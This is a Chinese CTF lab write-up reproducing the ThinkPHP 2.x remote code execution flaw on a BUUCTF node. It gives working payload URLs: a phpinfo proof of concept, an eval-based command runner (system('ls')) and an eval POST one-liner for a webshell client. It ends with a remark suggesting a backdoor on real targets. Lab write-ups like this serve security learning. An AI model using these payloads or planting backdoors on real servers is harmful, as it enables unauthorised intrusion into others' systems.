[ThinkPHP]2-Rce 复现

最新推荐文章于 2024-12-03 13:03:22 发布
最新推荐文章于 2024-12-03 13:03:22 发布
阅读量1.7k 收藏 1
点赞数 1
CC 4.0 BY-SA版权
分类专栏： 安全 CTF WEB安全 文章标签： 安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.youkuaiyun.com/satasun/article/details/110819188
本文介绍如何在ThinkPHP环境中复现远程代码执行(RCE)漏洞，包括环境搭建、利用POC验证漏洞存在性及通过EXP进行命令执行的具体步骤。

摘要生成于 C知道 ，由 DeepSeek-R1 满血版支持， 前往体验 >

[ThinkPHP]2-Rce 复现

环境搭建

github传送门
BUU传送门

POC

老懒狗选择buu

http://node3.buuoj.cn:26104/

在这里插入图片描述
poc

http://node3.buuoj.cn:26104?s=/index/index/name/$%7B@phpinfo()%7D

exp

我试了一下直接用system调用命令好像不行，可能因为中间掺杂了一些符号，这边利用eval函数进行绕过。

http://node3.buuoj.cn:26104/?s=/index/index/name/${@eval($_GET[1])}&1=system(%27ls%27);

或者构造payload用蚁剑连接

http://node3.buuoj.cn:26104/?s=/index/index/name/${@eval($_POST[1])}

在这里插入图片描述
在这里插入图片描述
权限应该差不多了，真实环境的话可以考虑传一个后门~

[ vulhub漏洞复现篇 ] ThinkPHP 5.0.23-Rce
qq_51577576的博客
10-02 2746
[ vulhub漏洞复现篇 ] ThinkPHP 5.0.23-Rce 漏洞复现 ThinkPHP是一款运用极广的PHP开发框架。其5.0.23以前的版本中，获取method的方法中没有正确处理方法名，导致攻击者可以调用Request类任意方法并构造利用链，从而导致远程代码执行漏洞。
【vulhub】thinkphp5 2-rce 5.0.23-rce 5-rce 漏洞复现
m0_75036923的博客
09-07 888
【代码】【vulhub】thinkphp5 2-rce 5.0.23-rce 5-rce 漏洞复现。
【漏洞复现】[ThinkPHP]2-Rce
Mr_atopos的博客
05-22 892
在BUU上复现 [ThinkPHP]2-Rce
thinkphp 2-rce
weixin_51692662的博客
11-01 579
thinkphp 2-rce
buuctf [ThinkPHP]2-Rce
qq_1873822的博客
03-14 841
ThinkPHP 2.1 poc ?s=/index/index/shell/${@phpinfo()} 拿到flag
ThinkPHP2--RCE漏洞复现
m0_74402888的博客
05-03 1315
var['\1']="\2" 这里双引号引发函数执行，了解为什么${}会执行，在PHP当中，${}是可以构造一个变量的，{}写的是一般的字符，那么就会被当成变量，比如${a}等价于$a，那如果{}写的是一个已知函数名称呢？()值提取匹配的字符串，有几个括号就代表有几个匹配的字符串，看结果我们就知道，我们的目的是将键和值分别提取出来，所有有两个()，一个匹配键，一个匹配值。$a的执行语句执行了（注意如果要实现该代码需要修改php的版本为5.x的版本）s=a/a/a/${phpinfo()} 其中a随意。
Thinkphp 2-rce漏洞复现(全过程)
最新发布
2401_87057954的博客
12-03 725
php漏洞复现
ThinkPHP2-RCE漏洞复现
weixin_73180072的博客
09-10 1055
这个函数会接收用户的输入，并将其存储在一个缓存文件中，以供后续使用。然而，由于没有对用户输入进行适当的过滤和验证，攻击者可以构造一个包含恶意代码的输入数据，并将其提交给该函数。当其他用户访问该应用程序时，这些恶意代码就会被执行，攻击者就可以控制整个服务器。造成该漏洞的原因在于ThinkPHP 2.x版本中，某些函数没有对用户输入进行严格的过滤和验证，导致攻击者可以通过构造恶意输入来绕过安全防护，执行恶意代码。攻击者通过利用该漏洞，可以在服务器上执行任意PHP代码，从而控制服务器。成功连接，获取shell。
Thinkphp 2-rce 漏洞复现（vulhub）
MDSEC的博客
08-20 379
首先，你需要在本地或虚拟机上搭建一个运行Vulhub的环境。你可以从Vulhub的GitHub仓库中下载并安装Docker和docker-compose工具，然后克隆对应的ThinkPHP 2漏洞利用环境。在浏览器中，你将看到一个简单的ThinkPHP应用程序。根据漏洞描述，你需要在URL中添加参数来触发漏洞。如果成功利用漏洞，你将在浏览器中看到返回的结果，例如当前用户的信息。将上述URL参数添加到应用程序的URL后面，然后按回车键执行请求。进入ThinkPHP 2漏洞利用环境所在的目录，打开。
Thinkphp5.0.23-rce漏洞复现
qq_64875725的博客
06-02 2722
ThinkPHP是一款运用极广的PHP开发框架。其5.0.23以前的版本中，获取method的方法中没有正确处理方法名，导致攻击者可以调用Request类任意方法并构造利用链，从而导致远程代码执行漏洞。: 'GET';} elseif (!} else {
[ThinkPHP]2-Rce BUUCTF
weixin_74149904的博客
10-27 330
s=captcha，使其报错显示版本信息。打开靶场，发现是ThinkPHP。ThinkPHP 2.1漏洞。
BUUCTF-Real-[ThinkPHP]2-Rce1
分享
02-03 1243
ThinkPHP 2.x 任意代码执行漏洞！
thinkphp 2 - rce漏洞复现
Tender*的博客
08-06 575
thinkphp 2 - rce漏洞复现
Thinkphp 2.x rce
qq_53086690的博客
11-23 980
Thinkphp 2.x rce Thinkphp简介 Thinkphp 是一个开源的，快速、简单的面向对象的轻量级PHP开发框架 漏洞影响版本 Thinkphp 2.x 漏洞概述 ThinkPHP 2.x版本中，使用preg_replace的/e模式匹配路由：$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths)); 导致用户的输入参数被插入双引号中执行，
thinkphp-2x-rce 1 代码执行
weixin_51558394的博客
08-17 535
thinkphp-2x-rce 代码执行
PHP的rce函数,Thinkphp5-1-2-RCE简单分析
weixin_30332165的博客
04-12 513
前言上次出的洞是接近元旦吧，好像刚从南京回学校，要准备烦人的期末，没心思分析，前天我刚考完，今天刚爆的洞洞貌似。然后自己跟着调试了一下。漏洞细节这是复现图前提是要在index.php中禁止报错，其实在生产环境中，开发也会这么做。漏洞点在\thinkphp\library\think\Request.php中的method函数：public function method($origin = fal...
vulhub thinkphp漏洞复现 | in-sqliniection、2-rce、5.0.23-rce、5-rce漏洞复现（详细图解）
鱼溯的博客
02-02 2309
vulhub thinkphp漏洞复现 | in-sqliniection、2-rce、5.0.23-rce、5-rce漏洞复现（详细图解）
thinkphp2rce漏洞复现
mlws1900的博客
07-07 1142
0x01 漏洞描述 描述: ThinkPHP框架 - 是由上海顶想公司开发维护的MVC结构的开源PHP框架,遵循Apache2开源协议发布,是为了敏捷WEB应用开发和简化企业应用开发而诞生的。 ThinkPHP ThinkPHP 2.x版本中，使用preg_replace的/e模式匹配路由导致用户的输入参数被插入双引号中执行，造成任意代码执行漏洞0x02 影响版本 影响Thinkphp 2.x的版本0x03 漏洞利用root权限启动docker（我用kali不给root没法搭建环境） 查看docker进
thinkphp2-rce
07-28
ThinkPHP 2.x版本中存在远程代码执行（RCE）漏洞。该漏洞可以通过构造恶意的请求来执行任意的PHP代码。具体来说，漏洞出现在ThinkPHP框架中的路由处理函数中，使用了不安全的preg_replace函数，并且使用了/e模式进行正则表达式匹配。攻击者可以通过在请求中注入恶意的代码来执行任意的PHP代码。这个漏洞在ThinkPHP框架的Dispatcher类中的102行被触发。\[2\]\[3\] 为了修复这个漏洞，建议升级到最新版本的ThinkPHP框架，或者手动修复代码中的漏洞。具体修复方法包括使用更安全的正则表达式替代preg_replace函数，并且避免使用/e模式进行正则表达式匹配。此外，还应该对用户输入进行严格的过滤和验证，以防止恶意代码的注入。 #### 引用[.reference_title] - *1* [【漏洞复现】[ThinkPHP]2-Rce](https://blog.youkuaiyun.com/Mr_atopos/article/details/124907676)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^koosearch_v1,239^v3^insert_chatgpt"}} ] [.reference_item] - *2* *3* [ThinkPHP2-RCE漏洞复现](https://blog.youkuaiyun.com/qq_51459600/article/details/125179451)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^koosearch_v1,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值